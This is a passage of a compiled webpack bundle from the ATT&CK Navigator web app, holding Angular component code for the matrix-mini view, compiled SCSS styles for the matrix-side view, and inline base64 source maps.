R5IC5jZWxsLWNvbnRhaW5lciB7XG4gIG1hcmdpbi1yaWdodDogMi4zMzMzMzMzMzMzcHg7XG4gIG1hcmdpbi1ib3R0b206IDIuMzMzMzMzMzMzM3B4O1xufVxuLm1hdHJpeC5taW5pIC50YWN0aWMuYm9keSAuY2VsbC1jb250YWluZXI6bm90KC5zdXBlcnRlY2huaXF1ZS1ncm91cCkge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG59XG4ubWF0cml4Lm1pbmkgLnRhY3RpYy5ib2R5IC5jZWxsLWNvbnRhaW5lci5zdXBlcnRlY2huaXF1ZS1ncm91cCB7XG4gIGJveC1zaGFkb3c6IDAgMCAwIDFweCAjNmI3Mjc5IGluc2V0O1xuICBwYWRkaW5nLXRvcDogOHB4O1xuICBwYWRkaW5nLWxlZnQ6IDhweDtcbiAgcGFkZGluZy1ib3R0b206IDQuNjY2NjY2NjY2N3B4O1xuICBwYWRkaW5nLXJpZ2h0OiA0LjY2NjY2NjY2NjdweDtcbn1cbi5tYXRyaXgubWluaSAudGFjdGljLmJvZHkgLmNlbGwtY29udGFpbmVyLnN1cGVydGVjaG5pcXVlIHtcbiAgYm94LXNoYWRvdzogMCAwIDAgMXB4ICM2YjcyNzk7XG59IiwiQGltcG9ydCBcIi4uL21hdHJpeC1jb21tb24uc2Nzc1wiO1xuLm1hdHJpeC5taW5pIHtcbiAgICAudGFjdGljIHsgcGFkZGluZzogMCA1cHg7IH1cbiAgICAudGFjdGljLmhlYWRlciB7XG4gICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICB9XG4gICAgLnRhY3RpYy5ib2R5IHtcbiAgICAgICAgcGFkZGluZy10b3A6IDVweDtcbiAgICAgICAgdmVydGljYWwtYWxpZ246IHRvcDtcbiAgICAgICAgLy8gZGlzcGxheTogZmxleDtcbiAgICAgICAgLy8gZmxleC13cmFwOiB3cmFwO1xuICAgICAgICAvLyBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG4gICAgICAgIFxuICAgICAgICAuY2VsbC1jb250YWluZXIge1xuICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAkc2l6ZXVuaXQgLyA2O1xuICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogJHNpemV1bml0IC8gNjtcbiAgICAgICAgICAgICY6bm90KC5zdXBlcnRlY2huaXF1ZS1ncm91cCkgeyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IH1cbiAgICAgICAgICAgIC8vIG1hcmdpbjogMCAycHggMCAycHg7XG4gICAgICAgICAgICAmLnN1cGVydGVjaG5pcXVlLWdyb3VwIHtcbiAgICAgICAgICAgICAgICAvLyBiYWNrZ3JvdW5kOiAkcGFuZWwtbGlnaHQ7XG4gICAgICAgICAgICAgICAgLy8gYm9yZGVyLXRvcDogMXB4IHNvbGlkIGRhcmtlbigkcGFuZWwtbGlnaHQsIDUlKTtcbiAgICAgICAgICAgICAgICAvLyBib3JkZXItYm90dG9tOiAxcHggc29saWQgZGFya2VuKCRwYW5lbC1saWdodCwgNSUpO1xuICAgICAgICAgICAgICAgIC8vIHBhZGRpbmctdG9wOiAzcHg7XG4gICAgICAgICAgICAgICAgLy8gdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC0zcHgpO1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCAwIDFweCBvbi1jb2xvci1kZWVtcGhhc2lzKGJvZHkpIGluc2V0O1xuICAgICAgICAgICAgICAgIC8vIHBhZGRpbmc6IDNweCAwIDAgM3B4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmctdG9wOiAxcHggKyAoJHNpemV1bml0LzIpO1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMXB4ICsgKCRzaXpldW5pdC8yKTtcbiAgICAgICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogKCRzaXpldW5pdC8zKTtcbiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAoJHNpemV1bml0LzMpO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJi5zdXBlcnRlY2huaXF1ZSB7XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDAgMXB4IG9uLWNvbG9yLWRlZW1waGFzaXMoYm9keSk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59Il19 */" + +/***/ }), + +/***/ "./src/app/matrix/matrix-mini/matrix-mini.component.ts": +/*!*************************************************************!*\ + !*** ./src/app/matrix/matrix-mini/matrix-mini.component.ts ***! + \*************************************************************/ +/*! exports provided: MatrixMiniComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "MatrixMiniComponent", function() { return MatrixMiniComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _matrix_common__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../matrix-common */ "./src/app/matrix/matrix-common.ts"); +/* harmony import */ var _config_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../config.service */ "./src/app/config.service.ts"); +var __extends = (undefined && undefined.__extends) || (function () { + var extendStatics = function (d, b) { + extendStatics = Object.setPrototypeOf || + ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || + function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; }; + return extendStatics(d, b); + }; + return function (d, b) { + extendStatics(d, b); + function __() { this.constructor = d; } + d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); + }; +})(); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + +var MatrixMiniComponent = /** @class */ (function (_super) { + __extends(MatrixMiniComponent, _super); + function MatrixMiniComponent(configService) { + return _super.call(this, configService) || this; + } + MatrixMiniComponent.prototype.ngOnInit = function () { }; + MatrixMiniComponent.ctorParameters = function () { return [ + { type: _config_service__WEBPACK_IMPORTED_MODULE_2__["ConfigService"] } + ]; }; + MatrixMiniComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'matrix-mini', + template: __webpack_require__(/*! raw-loader!./matrix-mini.component.html */ "./node_modules/raw-loader/index.js!./src/app/matrix/matrix-mini/matrix-mini.component.html"), + styles: [__webpack_require__(/*! ./matrix-mini.component.scss */ "./src/app/matrix/matrix-mini/matrix-mini.component.scss")] + }), + __metadata("design:paramtypes", [_config_service__WEBPACK_IMPORTED_MODULE_2__["ConfigService"]]) + ], MatrixMiniComponent); + return MatrixMiniComponent; +}(_matrix_common__WEBPACK_IMPORTED_MODULE_1__["MatrixCommon"])); + + + +/***/ }), + +/***/ "./src/app/matrix/matrix-side/matrix-side.component.scss": +/*!***************************************************************!*\ + !*** ./src/app/matrix/matrix-side/matrix-side.component.scss ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = "/**\n * Colors used across the Navigator. Shared by the ATT&CK Website.\n * For each color-pair:\n * - \"color\" refers to the color itself\n * - \"on-color\" refers to the most readable text-color to appear on top of the color. \n * Note: some colors don't define on-colors. This is because, for these colors, they aren't intended to\n * appear with inner content. For example, \"link\" is only intended to be used for link text, which inherently\n * cannot have inner text.\n */\n.matrix {\n border-collapse: collapse;\n line-height: 14px;\n}\n.matrix.side .tactic {\n padding: 2px;\n width: 1%;\n vertical-align: top;\n}\n.matrix.side .tactic.name, .matrix.side .tactic.count {\n text-align: center;\n font-size: 16px;\n}\n.matrix.side .tactic.name {\n cursor: pointer;\n font-weight: bold;\n vertical-align: bottom;\n}\n.matrix.side .tactic.count {\n font-size: 13px;\n border-bottom: 1px solid black;\n padding-bottom: 5px;\n margin-bottom: 5px;\n}\n.matrix.side .tactic .techniques-table {\n border-collapse: collapse;\n width: 100%;\n}\n.matrix.side .tactic .techniques-table tr, .matrix.side .tactic .techniques-table td {\n padding: 0;\n}\n.matrix.side .tactic .techniques-table tr {\n height: 1px;\n}\n.matrix.side .tactic .supertechnique {\n border-collapse: collapse;\n width: 100%;\n padding: 0;\n margin: 0;\n}\n.matrix.side .tactic .supertechnique td {\n padding: 0;\n vertical-align: top;\n}\n.matrix.side .tactic .supertechnique td.technique {\n box-shadow: 0 0 0 1px #6b7279 inset;\n}\n.matrix.side .tactic .subtechniques {\n display: flex;\n flex-direction: column;\n height: 100%;\n margin-left: -1px;\n border-left: 2px solid #6b7279;\n box-shadow: 0 0 0 1px #6b7279 inset;\n white-space: nowrap;\n vertical-align: top;\n}\n.matrix.side .tactic .subtechniques.hidden {\n display: none;\n}\n.matrix.side .tactic .subtechniques .subtechnique {\n height: 100%;\n flex-grow: 1;\n}\n.matrix.side .tactic .handle {\n font-family: roboto-regular;\n text-align: center;\n vertical-align: middle;\n -webkit-transform: rotate(-90deg);\n transform: rotate(-90deg);\n color: #f2f2f2;\n width: 12px;\n height: 12px;\n font-size: 16px;\n line-height: 12px;\n}\n.matrix.side .sidebar {\n min-width: 8px;\n width: 12px;\n padding: 0;\n background: #6b7279;\n cursor: pointer;\n position: relative;\n vertical-align: middle;\n}\n.matrix.side .sidebar .angle {\n display: none;\n}\n.matrix.side .sidebar.disabled {\n background: #aaaaaa;\n pointer-events: none;\n}\n.matrix.side .sidebar.expanded .angle {\n height: 12px;\n display: block;\n position: absolute;\n background: white;\n}\n.matrix.side .sidebar.expanded .angle svg {\n fill: #6b7279;\n}\n.matrix.side .sidebar.expanded .angle.top {\n top: 0px;\n}\n.matrix.side .sidebar.expanded .angle.bottom {\n bottom: 0px;\n}\n/*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIi9ob21lL0xPTi9iZXJuYWxvL2dpdC9hdHRhY2stbmF2aWdhdG9yL25hdi1hcHAvc3JjL2FwcC9tYXRyaXgvbWF0cml4LXNpZGUvbWF0cml4LXNpZGUuY29tcG9uZW50LnNjc3MiLCIvaG9tZS9MT04vYmVybmFsby9naXQvYXR0YWNrLW5hdmlnYXRvci9uYXYtYXBwL3NyYy9hcHAvbWF0cml4L21hdHJpeC1jb21tb24uc2NzcyIsInNyYy9hcHAvbWF0cml4L21hdHJpeC1zaWRlL21hdHJpeC1zaWRlLmNvbXBvbmVudC5zY3NzIiwiL2hvbWUvTE9OL2Jlcm5hbG8vZ2l0L2F0dGFjay1uYXZpZ2F0b3IvbmF2LWFwcC9zdGRpbiJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFlQTs7Ozs7Ozs7RUFBQTtBQ1hBO0VBQ0kseUJBQUE7RUFDQSxpQkFKTztBQ1VYO0FDTEk7RUFDSSxZQUFBO0VBQ0EsU0FBQTtFQUNBLG1CQUFBO0FEUVI7QUNQUTtFQUNJLGtCQUFBO0VBQ0EsZUFBQTtBRFNaO0FDUFE7RUFDSSxlQUFBO0VBQ0EsaUJBQUE7RUFFQSxzQkFBQTtBRFFaO0FDTlE7RUFDSSxlQUFBO0VBQ0EsOEJBQUE7RUFDQSxtQkFBQTtFQUNBLGtCQUFBO0FEUVo7QUNOUTtFQUNJLHlCQUFBO0VBQ0EsV0FBQTtBRFFaO0FDUFk7RUFDSSxVQUFBO0FEU2hCO0FDUFk7RUFDSSxXQUFBO0FEU2hCO0FDTFE7RUFDSSx5QkFBQTtFQUNBLFdBQUE7RUFDQSxVQUFBO0VBQ0EsU0FBQTtBRE9aO0FDTFk7RUFDSSxVQUFBO0VBQ0EsbUJBQUE7QURPaEI7QUNMZ0I7RUFDSSxtQ0FBQTtBRE9wQjtBQ0RRO0VBTUksYUFBQTtFQUNBLHNCQUFBO0VBQ0EsWUFBQTtFQUVBLGlCQUFBO0VBQ0EsOEJBQUE7RUFDQSxtQ0FBQTtFQUVBLG1CQUFBO0VBQ0EsbUJBQUE7QURKWjtBQ1ZZO0VBQ0ksYUFBQTtBRFloQjtBQ0dZO0VBQ0ksWUFBQTtFQUNBLFlBQUE7QUREaEI7QUNLUTtFQUNJLDJCQUFBO0VBQ0Esa0JBQUE7RUFDQSxzQkFBQTtFQUNBLGlDQUFBO1VBQUEseUJBQUE7RUFDQSxjQUFBO0VBRUEsV0FBQTtFQUFhLFlBQUE7RUFFYixlQUFBO0VBQ0EsaUJBQUE7QURKWjtBQ09JO0VBQ0ksY0FBQTtFQUNBLFdBQUE7RUFFQSxVQUFBO0VBQ0EsbUJBQUE7RUFDQSxlQUFBO0VBQ0Esa0JBQUE7RUFDQSxzQkFBQTtBRE5SO0FDT1E7RUFDSSxhQUFBO0FETFo7QUNPUTtFQUNJLG1CQUFBO0VBQ0Esb0JBQUE7QURMWjtBQ09RO0VBQ0ksWUFBQTtFQUNBLGNBQUE7RUFDQSxrQkFBQTtFQUNBLGlCQUFBO0FETFo7QUNNWTtFQUFNLGFBQUE7QURIbEI7QUNJWTtFQUNJLFFBQUE7QURGaEI7QUNJWTtFQUNJLFdBQUE7QURGaEIiLCJmaWxlIjoic3JjL2FwcC9tYXRyaXgvbWF0cml4LXNpZGUvbWF0cml4LXNpZGUuY29tcG9uZW50LnNjc3MiLCJzb3VyY2VzQ29udGVudCI6WyIkY29sdW1uLWhvdmVyLWNvbG9yOiByZ2IoMjM1LCAyMzUsIDIzNSk7XG4kZGlzYWJsZWQtY29sb3I6IGRhcmtlbigkY29sdW1uLWhvdmVyLWNvbG9yLCAyMCUpO1xuJGNlbGwtaGlnaGxpZ2h0LWNvbG9yOiByZ2IoOTYsIDE5NywgMjU1KTtcbiRob3Zlci1jZWxsLWZvbnQtY29sb3I6IHJnYigwLCAwLCAwKTtcbiRwYW5lbC1kYXJrOiAjZGRkO1xuJHBhbmVsLWxpZ2h0OiBsaWdodGVuKCRwYW5lbC1kYXJrLCA4JSk7XG4kdGFiLXRleHQtY29sb3I6ICM1NTU7XG4kYnV0dG9uLWRhcms6ICNiOGI4Yjg7XG5cbi8vIEFUVCZDSyBCcmFuZCBjb2xvcnNcbiRhdHRhY2stY29sb3JzOiAoXG4gICAgYXR0YWNrLW9yYW5nZTogI2M2M2YxZixcbiAgICBhdHRhY2stYmx1ZTogIzA2MmY0ZlxuKTtcblxuLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9ycywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuJGNvbG9yczogKFxuICAgIHByaW1hcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLW9yYW5nZSksIG9uLWNvbG9yOiB3aGl0ZSksICAvL3VzZWQgZm9yIGhlYWRlciBhbmQgc29tZSBuYXYgZWxlbWVudHNcbiAgICBzZWNvbmRhcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLWJsdWUpLCBvbi1jb2xvcjogd2hpdGUpLCAgLy91c2VkIGZvciBmb290ZXIgYW5kIHNvbWUgYnV0dG9uc1xuICAgIGJvZHk6IChjb2xvcjogd2hpdGUsIG9uLWNvbG9yOiAjMzk0MzRDKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9wcmltYXJ5IHBhZ2UgYm9keVxuLy8gIGJvZHk6IChjb2xvcjogcmdiKDUwLCA1MCwgNTApLCBvbi1jb2xvcjogI2NkY2RjZCksICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vZXhhbXBsZSBvZiBhIGRhcmsgdGhlbWUgZm9yIHRoZSBzaXRlXG4gICAgbGluazogKGNvbG9yOiAjNGY3Y2FjKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vaHlwZXJsaW5rc1xuICAgIG1hdHJpeC1oZWFkZXI6IChjb2xvcjogZ3JheSwgb24tY29sb3I6IHdoaXRlKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9jb2xvciBvZiBtYXRyaXggaGVhZGVyc1xuXG4gICAgLy9ib290c3RyYXAgY29sb3JzXG4gICAgYm9vdHN0cmFwLXByaW1hcnk6IChjb2xvcjogIzQyOGJjYSwgb24tY29sb3I6IHdoaXRlKSxcbiAgICBib290c3RyYXAtc3VjY2VzczogKGNvbG9yOiAjNWNiODVjLCBvbi1jb2xvcjogd2hpdGUpLFxuICAgIGJvb3RzdHJhcC1kYW5nZXI6IChjb2xvcjogI2Q5NTM0Ziwgb24tY29sb3I6IGJsYWNrKSxcbiAgICBib290c3RyYXAtd2FybmluZzogKGNvbG9yOiAjZjBhZDRlLCBvbi1jb2xvcjogYmxhY2spLFxuICAgIGJvb3RzdHJhcC1pbmZvOiAoY29sb3I6ICM1YmMwZGUsIG9uLWNvbG9yOiB3aGl0ZSksXG5cbiAgICAvL1RPRE8gZGVwcmVjYXRlIHdpdGggc2VhcmNoIHBhZ2UgY2hhbmdlc1xuICAgIHNlYXJjaC1yZXN1bHRzLWJvcmRlcjogKGNvbG9yOiBibGFjaywgb24tY29sb3I6IGxpZ2h0Z3JleSksICBcbik7XG5cbi8vIGFjY2Vzc29yIGhlbHBlciBmb3IgJGNvbG9ycy4gR2V0cyB0aGUgY29sb3Igb2YgdGhlIG5hbWVkIHBhaXJcbkBmdW5jdGlvbiBjb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWFwLWdldChtYXAtZ2V0KCRjb2xvcnMsICRuYW1lKSwgXCJjb2xvclwiKTtcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvciBuYW1lLCBnZXQgYW4gYWx0ZXJuYXRlIHZlcnNpb24gb2YgdGhlIGNvbG9yLCBmb3IgcGF0dGVybmluZ1xuLy8gaWYgdGhlIGJhc2UgY29sb3IgaXMgZGFyaywgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGxpZ2h0ZXIuXG4vLyBpZiB0aGUgYmFzZSBjb2xvciBpcyBsaWdodCwgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGRhcmtlci5cbi8vIGNvbnRyYXN0LCBhbiBvcHRpb25hbCBhcmd1bWVudCwgbXVsdGlwbGllcyB0byBjcmVhdGUgYSBtb3JlIGRpc3RpbnQgb3Igc2ltaWxhciBjb2xvci4gPjEgaXMgbW9yZSBkaXN0YW50LCA8MSBpcyBtb3JlIHNpbWlsYXIuXG5AZnVuY3Rpb24gY29sb3ItYWx0ZXJuYXRlKCRuYW1lLCAkY29udHJhc3Q6IDEpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgY29sb3IoJG5hbWUpLCAkd2VpZ2h0OiAkY29udHJhc3QgKiA1JSk7IFxufVxuXG4vLyBhY2Nlc3NvciBoZWxwZXIgZm9yICRjb2xvcnMuIEdldHMgdGhlIG9uLWNvbG9yIG9mIHRoZSBuYW1lZCBwYWlyXG5AZnVuY3Rpb24gb24tY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1hcC1nZXQobWFwLWdldCgkY29sb3JzLCAkbmFtZSksIFwib24tY29sb3JcIik7XG59XG5cbi8vIGdpdmVuIGEgY29sb3ItbmFtZSwgZ2V0IGFuIGVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZW1waGFzaXplZCBvbi1jb2xvciBpcyBsZXNzIGxpa2UgdGhlIGJhY2tncm91bmQgY29sb3IuXG5AZnVuY3Rpb24gb24tY29sb3ItZW1waGFzaXMoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgb24tY29sb3IoJG5hbWUpKTsgXG59XG4vLyBnaXZlbiBhIGNvbG9yLW5hbWUsIGdldCBhbiBkZWVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZGVlbXBoYXNpemVkIG9uLWNvbG9yIGlzIG1vcmUgbGlrZSB0aGUgYmFja2dyb3VuZCBjb2xvci5cbkBmdW5jdGlvbiBvbi1jb2xvci1kZWVtcGhhc2lzKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoY29sb3IoJG5hbWUpLCBvbi1jb2xvcigkbmFtZSksIDI1JSk7IFxufVxuXG4vLyBnaXZlbiBhIGNvbG9yIG5hbWUsIGNvbXB1dGUgYSBib3JkZXIgY29sb3IgZm9yIHRoZSBjb2xvclxuQGZ1bmN0aW9uIGJvcmRlci1jb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGludmVydChjb2xvcigkbmFtZSkpLCBjb2xvcigkbmFtZSksIDEyLjUlKTsgXG4gICAgLy8gQHJldHVybiByZ2JhKGludmVydChjb2xvcigkbmFtZSkpLCAwLjEyNSk7XG59XG4iLCJAaW1wb3J0IFwiLi4vLi4vY29sb3JzLnNjc3NcIjtcblxuJHNpemV1bml0OiAxNHB4O1xuXG4ubWF0cml4IHtcbiAgICBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlO1xuICAgIGxpbmUtaGVpZ2h0OiAkc2l6ZXVuaXQ7XG59IiwiLyoqXG4gKiBDb2xvcnMgdXNlZCBhY3Jvc3MgdGhlIE5hdmlnYXRvci4gU2hhcmVkIGJ5IHRoZSBBVFQmQ0sgV2Vic2l0ZS5cbiAqIEZvciBlYWNoIGNvbG9yLXBhaXI6XG4gKiAgIC0gXCJjb2xvclwiIHJlZmVycyB0byB0aGUgY29sb3IgaXRzZWxmXG4gKiAgIC0gXCJvbi1jb2xvclwiIHJlZmVycyB0byB0aGUgbW9zdCByZWFkYWJsZSB0ZXh0LWNvbG9yIHRvIGFwcGVhciBvbiB0b3Agb2YgdGhlIGNvbG9yLiBcbiAqIE5vdGU6IHNvbWUgY29sb3JzIGRvbid0IGRlZmluZSBvbi1jb2xvcnMuIFRoaXMgaXMgYmVjYXVzZSwgZm9yIHRoZXNlIGNvbG9ycywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuLm1hdHJpeCB7XG4gIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG4gIGxpbmUtaGVpZ2h0OiAxNHB4O1xufVxuXG4ubWF0cml4LnNpZGUgLnRhY3RpYyB7XG4gIHBhZGRpbmc6IDJweDtcbiAgd2lkdGg6IDElO1xuICB2ZXJ0aWNhbC1hbGlnbjogdG9wO1xufVxuLm1hdHJpeC5zaWRlIC50YWN0aWMubmFtZSwgLm1hdHJpeC5zaWRlIC50YWN0aWMuY291bnQge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIGZvbnQtc2l6ZTogMTZweDtcbn1cbi5tYXRyaXguc2lkZSAudGFjdGljLm5hbWUge1xuICBjdXJzb3I6IHBvaW50ZXI7XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xuICB2ZXJ0aWNhbC1hbGlnbjogYm90dG9tO1xufVxuLm1hdHJpeC5zaWRlIC50YWN0aWMuY291bnQge1xuICBmb250LXNpemU6IDEzcHg7XG4gIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBibGFjaztcbiAgcGFkZGluZy1ib3R0b206IDVweDtcbiAgbWFyZ2luLWJvdHRvbTogNXB4O1xufVxuLm1hdHJpeC5zaWRlIC50YWN0aWMgLnRlY2huaXF1ZXMtdGFibGUge1xuICBib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlO1xuICB3aWR0aDogMTAwJTtcbn1cbi5tYXRyaXguc2lkZSAudGFjdGljIC50ZWNobmlxdWVzLXRhYmxlIHRyLCAubWF0cml4LnNpZGUgLnRhY3RpYyAudGVjaG5pcXVlcy10YWJsZSB0ZCB7XG4gIHBhZGRpbmc6IDA7XG59XG4ubWF0cml4LnNpZGUgLnRhY3RpYyAudGVjaG5pcXVlcy10YWJsZSB0ciB7XG4gIGhlaWdodDogMXB4O1xufVxuLm1hdHJpeC5zaWRlIC50YWN0aWMgLnN1cGVydGVjaG5pcXVlIHtcbiAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcbiAgd2lkdGg6IDEwMCU7XG4gIHBhZGRpbmc6IDA7XG4gIG1hcmdpbjogMDtcbn1cbi5tYXRyaXguc2lkZSAudGFjdGljIC5zdXBlcnRlY2huaXF1ZSB0ZCB7XG4gIHBhZGRpbmc6IDA7XG4gIHZlcnRpY2FsLWFsaWduOiB0b3A7XG59XG4ubWF0cml4LnNpZGUgLnRhY3RpYyAuc3VwZXJ0ZWNobmlxdWUgdGQudGVjaG5pcXVlIHtcbiAgYm94LXNoYWRvdzogMCAwIDAgMXB4ICM2YjcyNzkgaW5zZXQ7XG59XG4ubWF0cml4LnNpZGUgLnRhY3RpYyAuc3VidGVjaG5pcXVlcyB7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gIGhlaWdodDogMTAwJTtcbiAgbWFyZ2luLWxlZnQ6IC0xcHg7XG4gIGJvcmRlci1sZWZ0OiAycHggc29saWQgIzZiNzI3OTtcbiAgYm94LXNoYWRvdzogMCAwIDAgMXB4ICM2YjcyNzkgaW5zZXQ7XG4gIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gIHZlcnRpY2FsLWFsaWduOiB0b3A7XG59XG4ubWF0cml4LnNpZGUgLnRhY3RpYyAuc3VidGVjaG5pcXVlcy5oaWRkZW4ge1xuICBkaXNwbGF5OiBub25lO1xufVxuLm1hdHJpeC5zaWRlIC50YWN0aWMgLnN1YnRlY2huaXF1ZXMgLnN1YnRlY2huaXF1ZSB7XG4gIGhlaWdodDogMTAwJTtcbiAgZmxleC1ncm93OiAxO1xufVxuLm1hdHJpeC5zaWRlIC50YWN0aWMgLmhhbmRsZSB7XG4gIGZvbnQtZmFtaWx5OiByb2JvdG8tcmVndWxhcjtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xuICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuICB0cmFuc2Zvcm06IHJvdGF0ZSgtOTBkZWcpO1xuICBjb2xvcjogI2YyZjJmMjtcbiAgd2lkdGg6IDEycHg7XG4gIGhlaWdodDogMTJweDtcbiAgZm9udC1zaXplOiAxNnB4O1xuICBsaW5lLWhlaWdodDogMTJweDtcbn1cbi5tYXRyaXguc2lkZSAuc2lkZWJhciB7XG4gIG1pbi13aWR0aDogOHB4O1xuICB3aWR0aDogMTJweDtcbiAgcGFkZGluZzogMDtcbiAgYmFja2dyb3VuZDogIzZiNzI3OTtcbiAgY3Vyc29yOiBwb2ludGVyO1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG59XG4ubWF0cml4LnNpZGUgLnNpZGViYXIgLmFuZ2xlIHtcbiAgZGlzcGxheTogbm9uZTtcbn1cbi5tYXRyaXguc2lkZSAuc2lkZWJhci5kaXNhYmxlZCB7XG4gIGJhY2tncm91bmQ6ICNhYWFhYWE7XG4gIHBvaW50ZXItZXZlbnRzOiBub25lO1xufVxuLm1hdHJpeC5zaWRlIC5zaWRlYmFyLmV4cGFuZGVkIC5hbmdsZSB7XG4gIGhlaWdodDogMTJweDtcbiAgZGlzcGxheTogYmxvY2s7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgYmFja2dyb3VuZDogd2hpdGU7XG59XG4ubWF0cml4LnNpZGUgLnNpZGViYXIuZXhwYW5kZWQgLmFuZ2xlIHN2ZyB7XG4gIGZpbGw6ICM2YjcyNzk7XG59XG4ubWF0cml4LnNpZGUgLnNpZGViYXIuZXhwYW5kZWQgLmFuZ2xlLnRv